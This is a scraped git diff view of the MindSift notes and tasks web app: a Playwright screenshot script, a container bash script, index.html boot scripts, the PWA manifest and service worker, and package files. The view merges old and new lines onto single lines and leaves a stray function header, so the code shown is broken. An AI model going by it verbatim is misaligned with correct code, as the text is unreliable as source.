const tab = (page, name) => page.getByRole('button', { name: new RegExp(`^${name}`) }).locator('visible=true').first().click();
async function shot(page, file) { // Switches the theme in place (no reload), so both halves show exactly the same state
async function setTheme(page, id, dark) {
await page.evaluate(
([themeId, isDark]) => {
const root = document.documentElement;
root.setAttribute('data-theme', themeId);
root.classList.toggle('dark', isDark);
},
[id, dark]
);
await sleep(250);
}
let composer;
// Light picture on the left of the diagonal, dark on the right, a thin line between them;
// scale < 1 shrinks the result (small pictures of the theme grid)
async function compose(lightPng, darkPng, file, scale = 1) {
const dataUrl = await composer.evaluate(
async ([light, dark, scale]) => {
const load = (b64) =>
new Promise((resolve) => {
const img = new Image();
img.onload = () => resolve(img);
img.src = 'data:image/png;base64,' + b64;
});
const [a, b] = await Promise.all([load(light), load(dark)]);
const w = Math.round(a.naturalWidth * scale);
const h = Math.round(a.naturalHeight * scale);
const canvas = document.createElement('canvas');
canvas.width = w;
canvas.height = h;
const ctx = canvas.getContext('2d');
ctx.imageSmoothingQuality = 'high';
ctx.drawImage(b, 0, 0, w, h);
const top = w * 0.58;
const bottom = w * 0.42;
ctx.save();
ctx.beginPath();
ctx.moveTo(0, 0);
ctx.lineTo(top, 0);
ctx.lineTo(bottom, h);
ctx.lineTo(0, h);
ctx.closePath();
ctx.clip();
ctx.drawImage(a, 0, 0, w, h);
ctx.restore();
ctx.strokeStyle = 'rgba(255, 255, 255, 0.9)';
ctx.lineWidth = Math.max(2, w / 600);
ctx.shadowColor = 'rgba(0, 0, 0, 0.35)';
ctx.shadowBlur = w / 300;
ctx.beginPath();
ctx.moveTo(top, 0);
ctx.lineTo(bottom, h);
ctx.stroke();
return canvas.toDataURL('image/png');
},
[lightPng.toString('base64'), darkPng.toString('base64'), scale]
);
fs.writeFileSync(`${OUT}/${file}`, Buffer.from(dataUrl.split(',')[1], 'base64'));
}
// Diagonal light/dark picture
async function shot(page, file, { light = LIGHT, dark = DARK, scale = 1 } = {}) {
await sleep(800); // animations await sleep(800); // animations
await page.mouse.move(0, 0); await page.mouse.move(0, 0);
await setTheme(page, light, false);
const lightPng = await page.screenshot();
await setTheme(page, dark, true);
const darkPng = await page.screenshot();
await compose(lightPng, darkPng, file, scale);
console.log(`OK ${file}`);
}
// Plain picture in one theme ('light' or 'dark' of the chosen pair)
async function plain(page, file, mode) {
await sleep(800);
await page.mouse.move(0, 0);
if (mode === 'light') await setTheme(page, LIGHT, false);
else await setTheme(page, DARK, true);
await page.screenshot({ path: `${OUT}/${file}` }); await page.screenshot({ path: `${OUT}/${file}` });
console.log(`OK ${file}`); console.log(`OK ${file}`);
} }
@@ -41,6 +138,7 @@ const main = async () => {
const admin = await login('admin'); const admin = await login('admin');
const user = await login('user'); const user = await login('user');
const browser = await chromium.launch({ args: ['--lang=de-DE'] }); const browser = await chromium.launch({ args: ['--lang=de-DE'] });
composer = await (await browser.newContext()).newPage();
const page = await open(browser, admin, DESKTOP); const page = await open(browser, admin, DESKTOP);
await tab(page, 'Triage'); await tab(page, 'Triage');
@@ -49,7 +147,11 @@ const main = async () => {
await tab(page, 'Aufgaben'); await tab(page, 'Aufgaben');
await page.getByText('Homelab', { exact: true }).first().click().catch(() => {}); await page.getByText('Homelab', { exact: true }).first().click().catch(() => {});
await page.getByRole('button', { name: /Kanban|Board/ }).first().click().catch(() => {}); await page.getByRole('button', { name: /Kanban|Board/ }).first().click().catch(() => {});
await shot(page, 'aufgaben_desktop.png'); await plain(page, 'aufgaben_desktop.png', 'dark');
// Colour families: the board fills the width, so both halves of the diagonal show content
for (const [family, light, dark] of FAMILIES) {
await shot(page, `Theme_${family}.png`, { light, dark, scale: 0.5 });
}
// The demo user edits a bullet of the shared note, so the screenshot shows lock and presence // The demo user edits a bullet of the shared note, so the screenshot shows lock and presence
const other = await open(browser, user, DESKTOP); const other = await open(browser, user, DESKTOP);
@@ -65,15 +167,51 @@ const main = async () => {
await page.waitForFunction(() => document.querySelectorAll('textarea').length > 5, null, { timeout: 10000 }); await page.waitForFunction(() => document.querySelectorAll('textarea').length > 5, null, { timeout: 10000 });
await page.getByText('User', { exact: false }).first().waitFor({ timeout: 15000 }).catch(() => {}); await page.getByText('User', { exact: false }).first().waitFor({ timeout: 15000 }).catch(() => {});
await sleep(2000); await sleep(2000);
await shot(page, 'workspace_desktop.png'); await plain(page, 'workspace_desktop.png', 'light');
// Journal: a few days with entries, the calendar in the sidebar
const H = { Authorization: `Bearer ${admin}`, 'Content-Type': 'application/json' };
const today = new Date();
const iso = (d) => `${d.getFullYear()}-${String(d.getMonth() + 1).padStart(2, '0')}-${String(d.getDate()).padStart(2, '0')}`;
const day = (offset) => iso(new Date(today.getFullYear(), today.getMonth(), today.getDate() - offset));
await fetch(`${BASE}/api/v1/journal/${day(0)}`, { method: 'POST', headers: H });
await page.getByRole('button', { name: 'Journal', exact: true }).click();
await sleep(1500);
const write = async (date, lines) => {
const section = page.locator(`[data-journal-date="${date}"]`);
if ((await section.count()) === 0) return; // day outside the visible month
await section.locator('.cursor-text').first().click();
for (let i = 0; i < lines.length; i++) {
if (i > 0) await page.keyboard.press('Enter');
await page.keyboard.type(lines[i], { delay: 5 });
}
await sleep(600);
};
await write(day(0), ['Standup: Umzug liegt im Plan #homelab', 'Nachmittags Backup-Test mit restic', 'Idee: Wochenrückblick als Vorlage anlegen']);
for (const offset of [2, 5]) {
await page.getByTitle(new RegExp(new Date(today.getFullYear(), today.getMonth(), today.getDate() - offset).toLocaleDateString('de-DE', { day: 'numeric', month: 'long' }))).first().click().catch(() => {});
await sleep(1200);
await write(day(offset), offset === 2 ? ['Rasen gemäht, Hecke wartet noch #garten'] : ['Erste Gedanken zur Hausrenovierung #renovierung', 'Angebote einholen bis Monatsende']);
}
await page.getByRole('button', { name: 'Heute' }).click().catch(() => {});
await page.mouse.click(1000, 860);
await sleep(2500);
await plain(page, 'journal_desktop.png', 'dark');
await page.getByRole('button', { name: 'Journal', exact: true }).click(); // close it again
await tab(page, 'Listen'); await tab(page, 'Listen');
await page.getByText('Wocheneinkauf', { exact: true }).first().click().catch(() => {}); await page.getByText('Wocheneinkauf', { exact: true }).first().click().catch(() => {});
await shot(page, 'Listen_desktop.png'); await plain(page, 'Listen_desktop.png', 'light');
const mobile = await open(browser, admin, MOBILE); const mobile = await open(browser, admin, MOBILE);
await mobile.getByText('Später im Browser weiter nutzen').click({ timeout: 5000 }).catch(() => {}); // install prompt await mobile.getByText('Später im Browser weiter nutzen').click({ timeout: 5000 }).catch(() => {}); // install prompt
await shot(mobile, 'Mobile_Triage.png'); await plain(mobile, 'Mobile_Triage.png', 'light');
await tab(mobile, 'Workspace');
await sleep(600);
await mobile.getByText(/^Homelab 2\.0/).first().click();
await sleep(1500);
await plain(mobile, 'Mobile_Workspace.png', 'dark');
await browser.close(); await browser.close();
}; };
+24 -8
View File
@@ -1,20 +1,36 @@
#!/usr/bin/env bash #!/usr/bin/env bash
# Builds MindSift, starts it in demo mode with a fresh database and renews the README screenshots # Builds MindSift, starts it in demo mode with a fresh database and renews the README screenshots
# in screenshots/. Requires podman (or docker via ENGINE=docker). Usage: e2e/screenshots.sh # in screenshots/ (title picture and colour-family grid: light and dark joined along a diagonal).
# Requires podman (or docker via ENGINE=docker). Usage: e2e/screenshots.sh, other theme pair: SHOT_LIGHT=fjord SHOT_DARK=fjord-night
set -euo pipefail set -euo pipefail
ENGINE="${ENGINE:-podman}" ENGINE="${ENGINE:-podman}"
ROOT="$(cd "$(dirname "$0")/.." && pwd)" ROOT="$(cd "$(dirname "$0")/.." && pwd)"
WORK="$(mktemp -d)" WORK="$(mktemp -d)"
trap '"$ENGINE" rm -f mindsift-shots >/dev/null 2>&1 || true; rm -rf "$WORK"' EXIT RUN_ID="$$-$RANDOM"
NAME="mindsift-shots-$RUN_ID"
IMAGE="mindsift-shots-image:$RUN_ID"
PORT="${SHOTS_PORT:-}"
if [ -z "$PORT" ]; then
for p in $(shuf -i 18100-18999 -n 50); do
if ! (exec 3<>"/dev/tcp/127.0.0.1/$p") 2>/dev/null; then PORT="$p"; break; fi
done
fi
cleanup() {
"$ENGINE" rm -f "$NAME" >/dev/null 2>&1 || true
"$ENGINE" rmi "$IMAGE" >/dev/null 2>&1 || true
rm -rf "$WORK"
}
trap cleanup EXIT
echo "Baue Image …" echo "Baue Image …"
# Version in the header, e.g. APP_VERSION=v0.2 e2e/screenshots.sh # Version in the header, e.g. APP_VERSION=v0.2 e2e/screenshots.sh
"$ENGINE" build -q --build-arg APP_VERSION="${APP_VERSION:-}" -t mindsift-e2e-image "$ROOT" >/dev/null "$ENGINE" build -q --build-arg APP_VERSION="${APP_VERSION:-}" -t "$IMAGE" "$ROOT" >/dev/null
"$ENGINE" run -d --name mindsift-shots --network host -e PORT=18081 -e MINDA_DEMO=true \ "$ENGINE" run -d --name "$NAME" --network host -e PORT="$PORT" -e MINDA_DEMO=true -e DEMO_RESET_MINUTES=0 \
-e JWT_SECRET=screenshots-only-secret -v "$WORK":/data:Z mindsift-e2e-image >/dev/null -e JWT_SECRET=screenshots-only-secret -v "$WORK":/data:Z "$IMAGE" >/dev/null
for _ in $(seq 1 60); do curl -s -m 1 http://localhost:18081/api/v1/health >/dev/null && break; sleep 0.5; done for _ in $(seq 1 60); do curl -s -m 1 "http://localhost:$PORT/api/v1/health" >/dev/null && break; sleep 0.5; done
echo "Erstelle Screenshots …" echo "Erstelle Screenshots …"
"$ENGINE" run --rm --network host -e MINDSIFT_URL=http://localhost:18081 -e SHOTS_DIR=/shots -e LANG=de_DE.UTF-8 \ "$ENGINE" run --rm --network host -e MINDSIFT_URL="http://localhost:$PORT" -e SHOTS_DIR=/shots \
-e SHOT_LIGHT="${SHOT_LIGHT:-light}" -e SHOT_DARK="${SHOT_DARK:-dark}" -e LANG=de_DE.UTF-8 -e TZ=Europe/Berlin \
-v "$ROOT/e2e":/e2e:Z -v "$ROOT/screenshots":/shots:Z -w /e2e mcr.microsoft.com/playwright:v1.48.2-jammy \ -v "$ROOT/e2e":/e2e:Z -v "$ROOT/screenshots":/shots:Z -w /e2e mcr.microsoft.com/playwright:v1.48.2-jammy \
sh -c 'apt-get update -qq >/dev/null && apt-get install -y -qq fonts-inter >/dev/null 2>&1; npm install --no-audit --no-fund >/dev/null 2>&1 && node screenshots.mjs' sh -c 'npm install --no-audit --no-fund >/dev/null 2>&1 && node screenshots.mjs'
+23 -24
View File
@@ -3,8 +3,10 @@
<head> <head>
<meta charset="UTF-8" /> <meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no" /> <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no" />
<!-- Blue while loading (matches the splash screen); the app switches it to the theme background --> <!-- Black like the system bars of the installed app; boot-theme.js and then the app switch it to the
<meta name="theme-color" content="#2563eb" /> theme background -->
<meta name="theme-color" content="#000000" />
<script src="/boot-theme.js"></script>
<meta name="mobile-web-app-capable" content="yes" /> <meta name="mobile-web-app-capable" content="yes" />
<meta name="apple-mobile-web-app-capable" content="yes" /> <meta name="apple-mobile-web-app-capable" content="yes" />
<meta name="apple-mobile-web-app-title" content="MindSift" /> <meta name="apple-mobile-web-app-title" content="MindSift" />
@@ -40,33 +42,30 @@
<link rel="manifest" href="/manifest.json" /> <link rel="manifest" href="/manifest.json" />
<title>MindSift</title> <title>MindSift</title>
<script> <script src="/pwa-install.js"></script>
window.__deferredPwaPrompt = null;
window.addEventListener('beforeinstallprompt', function (e) {
e.preventDefault();
window.__deferredPwaPrompt = e;
window.dispatchEvent(new CustomEvent('mindsift:pwa-ready'));
});
</script>
</head> </head>
<body class="bg-[#0b0f19] text-[#e3e3e3] antialiased selection:bg-[#8ab4f8]/30 selection:text-[#8ab4f8]"> <body class="bg-[#0b0f19] text-[#e3e3e3] antialiased selection:bg-[#8ab4f8]/30 selection:text-[#8ab4f8]">
<!-- Shown until React mounts and replaces it: full blue with the logo, no text, no white flash --> <!-- Shown until React mounts and replaces it: the logo on the background of the theme used last on
this device (boot-theme.js), full blue on the first visit; no text, no white flash -->
<div id="root"> <div id="root">
<div style="position:fixed;inset:0;background:#2563eb;display:flex;align-items:center;justify-content:center"> <div style="position:fixed;inset:0;background:var(--boot-bg,#2563eb);display:flex;align-items:center;justify-content:center">
<!-- the icon's own blue square disappears on blue, so the visible brain is ~55% of this size --> <!-- icon.svg inline, so its square takes the theme's accent (on blue it disappears in the background) -->
<img src="/icon.svg" width="128" height="128" alt="" style="display:block" /> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512" width="128" height="128" style="display:block">
<rect width="512" height="512" rx="108" style="fill:var(--boot-accent,#2563eb)" />
<g transform="translate(256, 256) scale(12.5) translate(-12, -12)" fill="none" style="stroke:var(--boot-on-accent,#ffffff)" stroke-width="2.1" stroke-linecap="round" stroke-linejoin="round">
<path d="M12 5a3 3 0 1 0-5.997.125 4 4 0 0 0-2.526 5.77 4 4 0 0 0 .556 6.588A4 4 0 1 0 12 18Z"/>
<path d="M12 5a3 3 0 1 1 5.997.125 4 4 0 0 1 2.526 5.77 4 4 0 0 1-.556 6.588A4 4 0 1 1 12 18Z"/>
<path d="M15 13a4.5 4.5 0 0 1-3-4 4.5 4.5 0 0 1-3 4"/>
<path d="M17.599 6.5a3 3 0 0 0 .399-1.375"/>
<path d="M6.003 5.125A3 3 0 0 0 6.401 6.5"/>
<path d="M3.477 10.896a4 4 0 0 1 .585-.396"/>
<path d="M19.938 10.5a4 4 0 0 1 .585.396"/>
<path d="M6 18a4 4 0 0 1-1.967-.516"/>
<path d="M19.967 17.484A4 4 0 0 1 18 18"/>
</g>
</svg>
</div> </div>
</div> </div>
<script type="module" src="/src/main.tsx"></script> <script type="module" src="/src/main.tsx"></script>
<script>
if ('caches' in window) {
caches.keys().then((keys) => keys.forEach((k) => caches.delete(k))).catch(() => {});
}
if ('serviceWorker' in navigator) {
window.addEventListener('load', () => {
navigator.serviceWorker.register('/sw.js').catch(() => {});
});
}
</script>
</body> </body>
</html> </html>
+23 -2
View File
@@ -1,14 +1,15 @@
{ {
"name": "mindsift-frontend", "name": "mindsift-frontend",
"version": "0.5.2", "version": "0.22.0",
"lockfileVersion": 3, "lockfileVersion": 3,
"requires": true, "requires": true,
"packages": { "packages": {
"": { "": {
"name": "mindsift-frontend", "name": "mindsift-frontend",
"version": "0.5.2", "version": "0.22.0",
"license": "Unlicense", "license": "Unlicense",
"dependencies": { "dependencies": {
"@fontsource-variable/inter": "5.3.0",
"@types/prismjs": "^1.26.6", "@types/prismjs": "^1.26.6",
"emoji-picker-react": "4.12.0", "emoji-picker-react": "4.12.0",
"framer-motion": "^11.15.0", "framer-motion": "^11.15.0",
@@ -32,6 +33,7 @@
"jsdom": "^25.0.1", "jsdom": "^25.0.1",
"postcss": "^8.4.49", "postcss": "^8.4.49",
"tailwindcss": "^3.4.17", "tailwindcss": "^3.4.17",
"tailwindcss-animate": "1.0.7",
"typescript": "^5.6.3", "typescript": "^5.6.3",
"typescript-eslint": "8.18.2", "typescript-eslint": "8.18.2",
"vite": "^5.4.11", "vite": "^5.4.11",
@@ -1024,6 +1026,15 @@
"node": "^18.18.0 || ^20.9.0 || >=21.1.0" "node": "^18.18.0 || ^20.9.0 || >=21.1.0"
} }
}, },
"node_modules/@fontsource-variable/inter": {
"version": "5.3.0",
"resolved": "https://registry.npmjs.org/@fontsource-variable/inter/-/inter-5.3.0.tgz",
"integrity": "sha512-OupL48va4JNofb97w6NYeF9S7W/kHNKM0Er8Dem5nqi4jeOLrVJDoE8tZEpnMJmtkvNbB1EIPPwHcdkF6b1oUA==",
"license": "OFL-1.1",
"funding": {
"url": "https://github.com/sponsors/ayuhito"
}
},
"node_modules/@humanfs/core": { "node_modules/@humanfs/core": {
"version": "0.19.2", "version": "0.19.2",
"resolved": "https://registry.npmjs.org/@humanfs/core/-/core-0.19.2.tgz", "resolved": "https://registry.npmjs.org/@humanfs/core/-/core-0.19.2.tgz",
@@ -4772,6 +4783,16 @@
"node": ">=14.0.0" "node": ">=14.0.0"
} }
}, },
"node_modules/tailwindcss-animate": {
"version": "1.0.7",
"resolved": "https://registry.npmjs.org/tailwindcss-animate/-/tailwindcss-animate-1.0.7.tgz",
"integrity": "sha512-bl6mpH3T7I3UFxuvDEXLxy/VuFxBk5bbzplh7tXI68mwMokNYd1t9qPBHlnyTwfa4JGC4zP516I1hYYtQ/vspA==",
"dev": true,
"license": "MIT",
"peerDependencies": {
"tailwindcss": ">=3.0.0 || insiders"
}
},
"node_modules/thenify": { "node_modules/thenify": {
"version": "3.3.1", "version": "3.3.1",
"resolved": "https://registry.npmjs.org/thenify/-/thenify-3.3.1.tgz", "resolved": "https://registry.npmjs.org/thenify/-/thenify-3.3.1.tgz",
+3 -1
View File
@@ -1,7 +1,7 @@
{ {
"name": "mindsift-frontend", "name": "mindsift-frontend",
"private": true, "private": true,
"version": "0.5.2", "version": "0.22.0",
"license": "Unlicense", "license": "Unlicense",
"type": "module", "type": "module",
"scripts": { "scripts": {
@@ -13,6 +13,7 @@
"test:run": "vitest run" "test:run": "vitest run"
}, },
"dependencies": { "dependencies": {
"@fontsource-variable/inter": "5.3.0",
"@types/prismjs": "^1.26.6", "@types/prismjs": "^1.26.6",
"emoji-picker-react": "4.12.0", "emoji-picker-react": "4.12.0",
"framer-motion": "^11.15.0", "framer-motion": "^11.15.0",
@@ -36,6 +37,7 @@
"jsdom": "^25.0.1", "jsdom": "^25.0.1",
"postcss": "^8.4.49", "postcss": "^8.4.49",
"tailwindcss": "^3.4.17", "tailwindcss": "^3.4.17",
"tailwindcss-animate": "1.0.7",
"typescript": "^5.6.3", "typescript": "^5.6.3",
"typescript-eslint": "8.18.2", "typescript-eslint": "8.18.2",
"vite": "^5.4.11", "vite": "^5.4.11",
Binary file not shown.

After

Width:  |  Height:  |  Size: 2.7 KiB

+14
View File
@@ -0,0 +1,14 @@
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 96 96" width="96" height="96">
<!-- Notification badge (Android status bar): only the alpha channel counts, so white on transparent -->
<g transform="translate(48, 48) scale(3.5) translate(-12, -12)" fill="none" stroke="#ffffff" stroke-width="2.2" stroke-linecap="round" stroke-linejoin="round">
<path d="M12 5a3 3 0 1 0-5.997.125 4 4 0 0 0-2.526 5.77 4 4 0 0 0 .556 6.588A4 4 0 1 0 12 18Z"/>
<path d="M12 5a3 3 0 1 1 5.997.125 4 4 0 0 1 2.526 5.77 4 4 0 0 1-.556 6.588A4 4 0 1 1 12 18Z"/>
<path d="M15 13a4.5 4.5 0 0 1-3-4 4.5 4.5 0 0 1-3 4"/>
<path d="M17.599 6.5a3 3 0 0 0 .399-1.375"/>
<path d="M6.003 5.125A3 3 0 0 0 6.401 6.5"/>
<path d="M3.477 10.896a4 4 0 0 1 .585-.396"/>
<path d="M19.938 10.5a4 4 0 0 1 .585.396"/>
<path d="M6 18a4 4 0 0 1-1.967-.516"/>
<path d="M19.967 17.484A4 4 0 0 1 18 18"/>
</g>
</svg>

After

Width:  |  Height:  |  Size: 914 B

+17
View File
@@ -0,0 +1,17 @@
// Runs before the first paint: the loading screen takes the colours of the theme used last on this
// device (stored by the app in lib/theme.ts), so a light or orange theme does not start in blue.
// A file instead of an inline script so the CSP can stay at script-src 'self'.
(function () {
try {
var colors = JSON.parse(localStorage.getItem('mindsift_boot_colors') || 'null');
if (!colors || typeof colors.bg !== 'string' || typeof colors.accent !== 'string') return;
var root = document.documentElement;
root.style.setProperty('--boot-bg', colors.bg);
root.style.setProperty('--boot-accent', colors.accent);
if (typeof colors.onAccent === 'string') root.style.setProperty('--boot-on-accent', colors.onAccent);
var meta = document.querySelector('meta[name="theme-color"]');
if (meta) meta.setAttribute('content', colors.bg);
} catch (e) {
// no storage: the loading screen stays blue
}
})();
+53 -10
View File
@@ -6,8 +6,8 @@
"start_url": "/", "start_url": "/",
"scope": "/", "scope": "/",
"display": "standalone", "display": "standalone",
"background_color": "#2563eb", "background_color": "#000000",
"theme_color": "#2563eb", "theme_color": "#000000",
"orientation": "portrait-primary", "orientation": "portrait-primary",
"icons": [ "icons": [
{ {
@@ -47,18 +47,61 @@
"purpose": "maskable" "purpose": "maskable"
} }
], ],
"share_target": {
"action": "/share-target",
"method": "POST",
"enctype": "multipart/form-data",
"params": {
"title": "title",
"text": "text",
"url": "url",
"files": [
{
"name": "media",
"accept": ["image/*"]
}
]
}
},
"shortcuts": [ "shortcuts": [
{ {
"name": "Gedanke sofort erfassen", "name": "Quick Dump",
"short_name": "Capture", "short_name": "Quick Dump",
"description": "Öffnet MindSift mit Fokus im Eingabefeld", "description": "Gedanken schnell in die Triage werfen",
"url": "/?mode=capture" "url": "/?shortcut=quickdump",
"icons": [
{
"src": "/shortcut-quickdump.png",
"sizes": "192x192",
"type": "image/png"
}
]
}, },
{ {
"name": "Triage starten", "name": "Neue Aufgabe",
"short_name": "Triage", "short_name": "Aufgabe",
"description": "Gedanken im Kartendeck aussortieren", "description": "Direkt eine neue Aufgabe anlegen",
"url": "/?tab=triage" "url": "/?shortcut=task",
"icons": [
{
"src": "/shortcut-task.png",
"sizes": "192x192",
"type": "image/png"
}
]
},
{
"name": "Einkaufsliste",
"short_name": "Einkaufsliste",
"description": "Einen Eintrag zur Einkaufsliste hinzufügen",
"url": "/?shortcut=list",
"icons": [
{
"src": "/shortcut-list.png",
"sizes": "192x192",
"type": "image/png"
}
]
} }
] ]
} }
+8
View File
@@ -0,0 +1,8 @@
// Runs before the app: browsers fire beforeinstallprompt early, the app picks it up later
// ("App installieren"). A file instead of an inline script so the CSP can stay at script-src 'self'.
window.__deferredPwaPrompt = null;
window.addEventListener('beforeinstallprompt', function (e) {
e.preventDefault();
window.__deferredPwaPrompt = e;
window.dispatchEvent(new CustomEvent('mindsift:pwa-ready'));
});
Binary file not shown.

After

Width:  |  Height:  |  Size: 5.5 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 6.7 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 4.5 KiB

+125 -2
View File
@@ -2,13 +2,17 @@
// - Page loads (navigation): network first, so a new release is picked up right away; offline the // - Page loads (navigation): network first, so a new release is picked up right away; offline the
// last loaded index.html is used. // last loaded index.html is used.
// - Built bundles (/assets/*, file names contain a content hash): from the cache, loaded once. // - Built bundles (/assets/*, file names contain a content hash): from the cache, loaded once.
// - Icons and manifest: from the cache, refreshed in the background. // - Icons: from the cache, refreshed in the background.
// - Manifest: network first (the browser checks it for changed app colours and name; a cached copy
// would hand it the old values), the cache only offline.
// - API requests are never touched; offline data comes from the app's own cache (lib/offline.ts). // - API requests are never touched; offline data comes from the app's own cache (lib/offline.ts).
// Raise VERSION when this file changes in a way that needs fresh caches. // Raise VERSION when this file changes in a way that needs fresh caches.
const VERSION = 'v2'; const VERSION = 'v6';
const SHELL_CACHE = `mindsift-shell-${VERSION}`; const SHELL_CACHE = `mindsift-shell-${VERSION}`;
const ASSET_CACHE = `mindsift-assets-${VERSION}`; const ASSET_CACHE = `mindsift-assets-${VERSION}`;
const MAX_ASSETS = 80; const MAX_ASSETS = 80;
const SHARE_DB_NAME = 'mindsift-share-target';
const SHARE_STORE_NAME = 'shared_items';
const SHELL_URLS = [ const SHELL_URLS = [
'/', '/',
'/index.html', '/index.html',
@@ -18,6 +22,9 @@ const SHELL_URLS = [
'/icon-192x192.png', '/icon-192x192.png',
'/icon-512x512.png', '/icon-512x512.png',
'/apple-touch-icon.png', '/apple-touch-icon.png',
'/badge-96x96.png',
'/boot-theme.js',
'/pwa-install.js',
]; ];
self.addEventListener('install', (event) => { self.addEventListener('install', (event) => {
@@ -68,6 +75,17 @@ async function cacheFirstAsset(request) {
return response; return response;
} }
async function networkFirstShell(request) {
const cache = await caches.open(SHELL_CACHE);
try {
const response = await fetch(request, { cache: 'no-store' });
if (response.ok && response.type === 'basic') cache.put(request, response.clone());
return response;
} catch {
return (await cache.match(request)) || Response.error();
}
}
async function staleWhileRevalidate(request) { async function staleWhileRevalidate(request) {
const cache = await caches.open(SHELL_CACHE); const cache = await caches.open(SHELL_CACHE);
const hit = await cache.match(request); const hit = await cache.match(request);
@@ -80,8 +98,78 @@ async function staleWhileRevalidate(request) {
return hit || refresh; return hit || refresh;
} }
function openShareDB() {
return new Promise((resolve, reject) => {
const req = indexedDB.open(SHARE_DB_NAME, 1);
req.onupgradeneeded = () => {
const db = req.result;
if (!db.objectStoreNames.contains(SHARE_STORE_NAME)) {
db.createObjectStore(SHARE_STORE_NAME, { autoIncrement: true, keyPath: 'id' });
}
};
req.onsuccess = () => resolve(req.result);
req.onerror = () => reject(req.error);
});
}
async function savePendingShare(item) {
const db = await openShareDB();
return new Promise((resolve, reject) => {
const tx = db.transaction(SHARE_STORE_NAME, 'readwrite');
tx.objectStore(SHARE_STORE_NAME).add(item);
tx.oncomplete = () => {
db.close();
resolve();
};
tx.onerror = () => {
db.close();
reject(tx.error);
};
tx.onabort = () => {
db.close();
reject(tx.error);
};
});
}
async function handleShareTarget(event) {
try {
const formData = await event.request.formData();
const title = formData.get('title');
const text = formData.get('text');
const url = formData.get('url');
const media = formData.get('media');
let fileName = '';
let hasMedia = false;
if (media && typeof media === 'object') {
fileName = media.name || 'image';
hasMedia = true;
}
await savePendingShare({
title: typeof title === 'string' ? title.trim() : '',
text: typeof text === 'string' ? text.trim() : '',
url: typeof url === 'string' ? url.trim() : '',
fileName,
hasMedia,
createdAt: Date.now(),
});
} catch (err) {
console.error('[SW] Share-Target Fehler:', err);
}
return Response.redirect('/?shared=pending', 303);
}
self.addEventListener('fetch', (event) => { self.addEventListener('fetch', (event) => {
const { request } = event; const { request } = event;
if (request.method === 'POST') {
const url = new URL(request.url);
if (url.origin === self.location.origin && url.pathname === '/share-target') {
event.respondWith(handleShareTarget(event));
}
return;
}
if (request.method !== 'GET') return; if (request.method !== 'GET') return;
const url = new URL(request.url); const url = new URL(request.url);
if (url.origin !== self.location.origin || url.pathname.startsWith('/api/')) return; if (url.origin !== self.location.origin || url.pathname.startsWith('/api/')) return;
@@ -90,7 +178,42 @@ self.addEventListener('fetch', (event) => {
event.respondWith(networkFirstPage(request)); event.respondWith(networkFirstPage(request));
} else if (url.pathname.startsWith('/assets/')) { } else if (url.pathname.startsWith('/assets/')) {
event.respondWith(cacheFirstAsset(request)); event.respondWith(cacheFirstAsset(request));
} else if (url.pathname === '/manifest.json') {
event.respondWith(networkFirstShell(request));
} else if (SHELL_URLS.includes(url.pathname)) { } else if (SHELL_URLS.includes(url.pathname)) {
event.respondWith(staleWhileRevalidate(request)); event.respondWith(staleWhileRevalidate(request));
} }
}); });
// Web push: show the notification; a click focuses an open MindSift window or opens a new one
self.addEventListener('push', (event) => {
let msg = {};
try {
msg = event.data ? event.data.json() : {};
} catch {
msg = { body: event.data ? event.data.text() : '' };
}
event.waitUntil(
self.registration.showNotification(msg.title || 'MindSift', {
body: msg.body || '',
icon: '/icon-192x192.png',
// Status bar icon: Android only uses the alpha channel, the full app icon became a plain square
badge: '/badge-96x96.png',
tag: msg.tag || undefined,
data: { url: msg.url || '/' },
})
);
});
self.addEventListener('notificationclick', (event) => {
event.notification.close();
const target = new URL((event.notification.data && event.notification.data.url) || '/', self.location.origin);
event.waitUntil(
self.clients.matchAll({ type: 'window', includeUncontrolled: true }).then((windows) => {
for (const w of windows) {
if (new URL(w.url).origin === target.origin && 'focus' in w) return w.focus();
}
return self.clients.openWindow(target.href);
})
);
});
+242 -101
View File
@@ -23,6 +23,7 @@ import {
Flame, Flame,
Mic, Mic,
MicOff, MicOff,
Loader2,
Search, Search,
} from 'lucide-react'; } from 'lucide-react';
import { AuthStatus, DashboardStats, PriorityLevel, SharedList, Thought, User, UserTheme } from './lib/types'; import { AuthStatus, DashboardStats, PriorityLevel, SharedList, Thought, User, UserTheme } from './lib/types';
@@ -35,10 +36,13 @@ import {
disconnectWebSocket, disconnectWebSocket,
isSharingDisabled, isSharingDisabled,
} from './lib/api'; } from './lib/api';
import { useVoiceInput } from './lib/useVoiceInput';
import { VoiceWave } from './components/VoiceWave';
import { import {
AVAILABLE_THEMES, AVAILABLE_THEMES,
customThemeOption, customThemeOption,
initThemeOnBoot, initThemeOnBoot,
watchSystemScheme,
isCustomThemeId, isCustomThemeId,
setActiveTheme as applyTheme, setActiveTheme as applyTheme,
ThemeId, ThemeId,
@@ -52,6 +56,7 @@ import { WorkspaceView } from './features/workspace/WorkspaceView';
import { SharedListsView } from './features/lists/SharedListsView'; import { SharedListsView } from './features/lists/SharedListsView';
import { SetupAndAuthView } from './features/auth/SetupAndAuthView'; import { SetupAndAuthView } from './features/auth/SetupAndAuthView';
import { OfflineBanner } from './components/OfflineBanner'; import { OfflineBanner } from './components/OfflineBanner';
import { SharedImportToast } from './components/SharedImportToast';
import { outboxCount, clearOfflineData } from './lib/offline'; import { outboxCount, clearOfflineData } from './lib/offline';
import { DemoCountdown } from './components/DemoCountdown'; import { DemoCountdown } from './components/DemoCountdown';
import { UserSettingsView } from './features/settings/UserSettingsView'; import { UserSettingsView } from './features/settings/UserSettingsView';
@@ -62,6 +67,10 @@ import { useMobileActions } from './context/MobileActionContext';
import { MobileHeaderMenu } from './components/MobileHeaderMenu'; import { MobileHeaderMenu } from './components/MobileHeaderMenu';
import { UserAvatar } from './components/UserAvatar'; import { UserAvatar } from './components/UserAvatar';
import { CommandPalette } from './components/CommandPalette'; import { CommandPalette } from './components/CommandPalette';
import { AppFooter } from './components/AppFooter';
import { ThemeQuickPicker } from './components/ThemeQuickPicker';
import { AboutModal } from './components/AboutModal';
import { consumePendingShares, formatSharedThought } from './lib/shareTarget';
import { APP_VERSION } from './version'; import { APP_VERSION } from './version';
